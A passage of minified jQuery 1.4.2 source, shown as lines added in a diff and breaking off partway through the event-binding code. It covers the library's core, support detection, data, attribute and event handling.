+(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o<i;o++)e(a[o],b,f?d.call(a[o],o,e(a[o],b)):d,j);return a}return i?
+e(a[0],b):w}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function na(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function oa(a){var b,d=[],f=[],e=arguments,j,i,o,k,n,r;i=c.data(this,"events");if(!(a.liveFired===this||!i||!i.live||a.button&&a.type==="click")){a.liveFired=this;var u=i.live.slice(0);for(k=0;k<u.length;k++){i=u[k];i.origType.replace(O,"")===a.type?f.push(i.selector):u.splice(k--,1)}j=c(a.target).closest(f,a.currentTarget);n=0;for(r=
+j.length;n<r;n++)for(k=0;k<u.length;k++){i=u[k];if(j[n].selector===i.selector){o=j[n].elem;f=null;if(i.preType==="mouseenter"||i.preType==="mouseleave")f=c(a.relatedTarget).closest(i.selector)[0];if(!f||f!==o)d.push({elem:o,handleObj:i})}}n=0;for(r=d.length;n<r;n++){j=d[n];a.currentTarget=j.elem;a.data=j.handleObj.data;a.handleObj=j.handleObj;if(j.handleObj.origHandler.apply(j.elem,e)===false){b=false;break}}return b}}function pa(a,b){return"live."+(a&&a!=="*"?a+".":"")+b.replace(/\./g,"`").replace(/ /g,
+"&")}function qa(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function ra(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var j in f)for(var i in f[j])c.event.add(this,j,f[j][i],f[j][i].data)}}})}function sa(a,b,d){var f,e,j;b=b&&b[0]?b[0].ownerDocument||b[0]:s;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&b===s&&!ta.test(a[0])&&(c.support.checkClone||!ua.test(a[0]))){e=
+true;if(j=c.fragments[a[0]])if(j!==1)f=j}if(!f){f=b.createDocumentFragment();c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=j?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(va.concat.apply([],va.slice(0,b)),function(){d[this]=a});return d}function wa(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Ra=A.jQuery,Sa=A.$,s=A.document,T,Ta=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,
+Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&
+(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,
+a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b===
+"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,
+function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(j in e){i=a[j];o=e[j];if(a!==o)if(f&&o&&(c.isPlainObject(o)||c.isArray(o))){i=i&&(c.isPlainObject(i)||
+c.isArray(i))?i:c.isArray(o)?[]:{};a[j]=c.extend(f,i,o)}else if(o!==w)a[j]=o}return a};c.extend({noConflict:function(a){A.$=Sa;if(a)A.jQuery=Ra;return c},isReady:false,ready:function(){if(!c.isReady){if(!s.body)return setTimeout(c.ready,13);c.isReady=true;if(Q){for(var a,b=0;a=Q[b++];)a.call(s,c);Q=null}c.fn.triggerHandler&&c(s).triggerHandler("ready")}},bindReady:function(){if(!xa){xa=true;if(s.readyState==="complete")return c.ready();if(s.addEventListener){s.addEventListener("DOMContentLoaded",
+L,false);A.addEventListener("load",c.ready,false)}else if(s.attachEvent){s.attachEvent("onreadystatechange",L);A.attachEvent("onload",c.ready);var a=false;try{a=A.frameElement==null}catch(b){}s.documentElement.doScroll&&a&&ma()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,
+"isPrototypeOf"))return false;var b;for(b in a);return b===w||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;a=c.trim(a);if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return A.JSON&&A.JSON.parse?A.JSON.parse(a):(new Function("return "+
+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Va.test(a)){var b=s.getElementsByTagName("head")[0]||s.documentElement,d=s.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(s.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,j=a.length,i=j===w||c.isFunction(a);if(d)if(i)for(f in a){if(b.apply(a[f],
+d)===false)break}else for(;e<j;){if(b.apply(a[e++],d)===false)break}else if(i)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=a[0];e<j&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Wa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===
+a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==w;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,j=a.length;e<j;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,j=0,i=a.length;j<i;j++){e=b(a[j],j,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=w}else if(b&&
+!c.isFunction(b)){d=b;b=w}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});P=c.uaMatch(P);if(P.browser){c.browser[P.browser]=true;c.browser.version=P.version}if(c.browser.webkit)c.browser.safari=
+true;if(ya)c.inArray=function(a,b){return ya.call(b,a)};T=c(s);if(s.addEventListener)L=function(){s.removeEventListener("DOMContentLoaded",L,false);c.ready()};else if(s.attachEvent)L=function(){if(s.readyState==="complete"){s.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=s.documentElement,b=s.createElement("script"),d=s.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";
+var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,
+parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=
+false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=
+s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,
+applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];
+else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,
+a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===
+w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,
+cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className){for(var j=" "+e.className+" ",
+i=e.className,o=0,k=b.length;o<k;o++)if(j.indexOf(" "+b[o]+" ")<0)i+=" "+b[o];e.className=c.trim(i)}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(k){var n=c(this);n.removeClass(a.call(this,k,n.attr("class")))});if(a&&typeof a==="string"||a===w)for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var j=(" "+e.className+" ").replace(Aa," "),i=0,o=b.length;i<o;i++)j=j.replace(" "+b[i]+" ",
+" ");e.className=c.trim(j)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var j=c(this);j.toggleClass(a.call(this,e,j.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,j=0,i=c(this),o=b,k=a.split(ca);e=k[j++];){o=f?o:!i.hasClass(e);i[o?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=
+this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(Aa," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j<d;j++){var i=
+e[j];if(i.selected){a=c(i).val();if(b)return a;f.push(a)}}return f}if(Ba.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Za,"")}return w}var o=c.isFunction(a);return this.each(function(k){var n=c(this),r=a;if(this.nodeType===1){if(o)r=a.call(this,k,n.val());if(typeof r==="number")r+="";if(c.isArray(r)&&Ba.test(this.type))this.checked=c.inArray(n.val(),r)>=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=
+c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");
+a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,
+function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");
+k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),
+C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B<r.length;B++){u=r[B];if(d.guid===u.guid){if(i||k.test(u.namespace)){f==null&&r.splice(B--,1);n.remove&&n.remove.call(a,u)}if(f!=
+null)break}}if(r.length===0||f!=null&&r.length===1){if(!n.teardown||n.teardown.call(a,o)===false)Ca(a,e,z.handle);delete C[e]}}else for(var B=0;B<r.length;B++){u=r[B];if(i||k.test(u.namespace)){c.event.remove(a,n,u.handler,B);r.splice(B--,1)}}}if(c.isEmptyObject(C)){if(b=z.handle)b.elem=null;delete z.events;delete z.handle;c.isEmptyObject(z)&&c.removeData(a)}}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=
+e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&
+f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;
+if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e<j;e++){var i=d[e];if(b||f.test(i.namespace)){a.handler=i.handler;a.data=i.data;a.handleObj=i;i=i.handler.apply(this,arguments);if(i!==w){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
+fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||s;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=s.documentElement;d=s.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
+d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==w)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a){c.event.add(this,a.origType,c.extend({},a,{handler:oa}))},remove:function(a){var b=true,d=a.origType.replace(O,"");c.each(c.data(this,
+"events").live||[],function(){if(d===this.origType.replace(O,""))return b=false});b&&c.event.remove(this,a.origType,oa)}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};var Ca=s.removeEventListener?function(a,b,d){a.removeEventListener(b,d,false)}:function(a,b,d){a.detachEvent("on"+b,d)};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=
+a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,
+isImmediatePropagationStopped:Y};var Da=function(a){var b=a.relatedTarget;try{for(;b&&b!==this;)b=b.parentNode;if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}}catch(d){}},Ea=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ea:Da,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ea:Da)}}});if(!c.support.submitBubbles)c.event.special.submit=
+{setup:function(){if(this.nodeName.toLowerCase()!=="form"){c.event.add(this,"click.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="submit"||d==="image")&&c(b).closest("form").length)return na("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="text"||d==="password")&&c(b).closest("form").length&&a.keyCode===13)return na("submit",this,arguments)})}else return false},teardown:function(){c.event.remove(this,".specialSubmit")}};
+if(!c.support.changeBubbles){var da=/textarea|input|select/i,ea,Fa=function(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",
+e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,
+"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,
+d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j<o;j++)c.event.add(this[j],d,i,f)}return this}});c.fn.extend({unbind:function(a,b){if(typeof a==="object"&&
+!a.preventDefault)for(var d in a)this.unbind(d,a[d]);else{d=0;for(var f=this.length;d<f;d++)c.event.remove(this[d],a,b)}return this},delegate:function(a,b,d,f){return this.live(b,d,f,a)},undelegate:function(a,b,d){return arguments.length===0?this.unbind("live"):this.die(b,null,d,a)},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},
+toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Ga={focus:"focusin",blur:"focusout",mouseenter:"mouseover",mouseleave:"mouseout"};c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e,j){var i,o=0,k,n,r=j||this.selector,
+u=j?this:c(this.context);if(c.isFunction(f)){e=f;f=w}for(d=(d||"").split(" ");(i=d[o++])!=null;){j=O.exec(i);k="";if(j){k=j[0];i=i.replace(O,"")}if(i==="hover")d.push("mouseenter"+k,"mouseleave"+k);else{n=i;if(i==="focus"||i==="blur"){d.push(Ga[i]+k);i+=k}else i=(Ga[i]||i)+k;b==="live"?u.each(function(){c.event.add(this,pa(i,r),{data:f,selector:r,handler:e,origType:i,origHandler:e,preType:n})}):u.unbind(pa(i,r),e)}}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),
